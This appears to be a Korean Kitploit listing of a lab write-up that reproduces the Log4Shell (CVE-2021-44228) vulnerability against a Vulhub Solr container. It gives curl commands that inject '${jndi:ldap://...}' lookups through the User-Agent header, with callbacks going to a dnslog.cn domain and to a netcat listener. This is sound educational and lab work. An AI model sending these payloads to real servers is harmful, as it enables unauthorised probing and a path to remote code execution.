Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Log4Shell-Vulnerability-Replication — CVE-2021-44228 취약점 재현 전체 기록 (환경 구축 및 트리거 검증 포함) | Kitploit
도구/GitHubGitHub/hmxh123/log4shell-vulnerability-replication
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubhmxh123/log4shell-vulnerability-replication

Log4Shell-Vulnerability-Replication

CVE-2021-44228 취약점 재현 전체 기록 (환경 구축 및 트리거 검증 포함)

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
2개월 전아직 검토되지 않음

CVE-2021-44228 (Log4Shell) 취약점 완전 재현 기록

이 기록은 Vulhub가 제공하는 Apache Solr 8.11.0 실습 환경을 기반으로 Log4j2 JNDI 주입 취약점을 완전히 재현하였으며, DNSLog 및 로컬 LDAP 수신을 통해 취약점 존재를 성공적으로 확인하였습니다.

1. 실험 환경

  • 운영 체제:Windows 11 + WSL2 (Ubuntu)
  • 컨테이너 플랫폼:Docker Desktop 4.76
  • 실습 환경 출처:Vulhub (vulhub/log4j/CVE-2021-44228)
  • 대상 서비스:Apache Solr 8.11.0(log4j-core 2.14.1 포함)
  • 공격자 머신:로컬 호스트(DNSLog 클라이언트 및 LDAP 수신 역할 동시 수행)

2. 환경 구축 과정

2.1 Vulhub 소스 코드 획득

GitHub 직접 연결이 불안정하므로 Gitee 미러를 사용하여 가속화합니다:

root@kitploit:~
cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git

2.2 국내 네트워크 환경에서 Docker 이미지 풀링 문제 해결

Alibaba Cloud 전용 이미지 가속기 구성 (컨테이너 이미지 서비스에 로그인하여 개인 주소 획득):

Docker Desktop 열기 → Settings → Docker Engine

registry-mirrors 수정:

root@kitploit:~
{
  "registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}

Apply & Restart 클릭

여전히 TLS handshake timeout이 발생하면 WSL에 진입하여 sudo hwclock -s를 실행하여 시간을 동기화합니다.

2.3 Solr 컨테이너 시작

root@kitploit:~
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d

출력 성공 표시:

root@kitploit:~
✔ Image vulhub/solr:8.11.0    Pulled    117.7s
✔ Container cve-2021-44228-solr-1    Started

http://localhost:8983/solr 에 접속하면 Solr 관리 인터페이스가 나타나며 환경이 준비됩니다.

3. 취약점 재현 단계

3.1 테스트 Core 생성

Solr는 기본적으로 core가 없으므로 수동으로 생성해야 합니다:

root@kitploit:~
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

"status":0이 반환되며 core test가 성공적으로 생성되었습니다.

3.2 DNSLog를 사용하여 취약점 존재 여부 탐지

브라우저를 열어 http://dnslog.cn에 접속하고 Get SubDomain을 클릭하여 임시 도메인(예: abc123.dnslog.cn)을 얻습니다.

명령줄에서 실행 (PowerShell 별칭 간섭을 피하기 위해 curl.exe 사용):

root@kitploit:~
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

http://dnslog.cn 페이지로 돌아가 Refresh Record를 클릭하면 즉시 DNS 해석 기록이 나타나며 취약점이 존재함을 증명합니다.

3.3 로컬 수신 확인 (심화 확인)

WSL에서 수신 대기: nc -lvp 1389

호스트 머신 IP 획득 (Windows PowerShell에서 ipconfig를 실행하여 WSL 가상 네트워크 어댑터 IP(예: 172.30.208.1)를 찾습니다.)

로컬 IP가 포함된 악의적인 요청 전송:

root@kitploit:~
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

nc 창을 관찰하면 연결 정보가 표시됩니다:

root@kitploit:~
connect to [172.30.208.1] from localhost [127.0.0.1] 54321

Solr가 성공적으로 공격자 머신에 LDAP 쿼리를 보냈음을 증명하며 취약점 재현에 성공했습니다.

4. 취약점 원리 요약

Apache Log4j2가 제공하는 JndiLookup 기능은 로그 메시지에서 ${jndi:ldap://...} 형식의 플레이스홀더를 사용할 수 있도록 합니다. 로그 메시지가 기록될 때 Log4j2는 이 플레이스홀더를 구문 분석하고 JNDI를 통해 원격 LDAP 서버에 액세스하려고 시도합니다. 공격자는 악성 LDAP 서버를 구축하여 Java 역직렬화 페이로드를 반환함으로써 원격 코드 실행을 달성할 수 있습니다.

이 재현에서는 User-Agent 헤더를 악성 페이로드로 설정하여 Solr가 요청을 처리할 때 해당 헤더 정보를 기록하고 JNDI 쿼리를 트리거하여 취약점 존재를 증명했습니다.

5. 실험 결과 요약

✅ Vulhub 취약점 환경을 성공적으로 구축하고 국내 네트워크의 여러 문제(DNS 하이재킹, 이미지 가속, WSL 시간 동기화 등)를 극복했습니다.

✅ 취약점 트리거를 독립적으로 완료하고 DNSLog 및 로컬 수신 두 가지 방식을 통해 JNDI 주입을 확인했습니다.

✅ Log4Shell 취약점 원리 및 JNDI 주입 공격 체인에 대한 깊은 이해를 얻었습니다.

✅ Docker 네트워크 문제 해결, WSL2 구성, Git 프록시 정리 등 실무 경험을 축적했습니다.

6. 문제 해결 경험 요약

7. 전체 명령어 목록

root@kitploit:~
# Vulhub 클론 (Gitee 미러 사용)
git clone https://gitee.com/hanxu2486/vulhub.git

# 취약점 디렉토리로 이동
cd D:\SecWork\vulhub\log4j\CVE-2021-44228

# 환경 실행
docker-compose up -d

# Solr Core 생성
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

# DNSLog 확인
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# 로컬 수신 확인 (WSL에서 nc 실행)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# 환경 종료
docker-compose down

8. 참고 링크

  • Vulhub 공식 프로젝트
  • CVE-2021-44228 상세 정보
  • DNSLog 플랫폼

작성일: 2026년 6월
저자: HanXu
저장소 주소: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication

도구 다운로드
문제 현상근본 원인해결 방법
git clone 502 / 연결 시간 초과DNS 하이재킹 / 프록시 간섭Gitee 미러 사용, Git 프록시 제거, DNS 새로 고침
Docker 이미지 풀링 429공용 이미지 소스 속도 제한Alibaba Cloud 전용 가속기 구성
TLS handshake timeoutWSL2 시간 불일치sudo hwclock -s 시간 동기화
취약점 트리거 실패Core 미생성 또는 Payload 위치 오류Core 생성, User-Agent 헤더 사용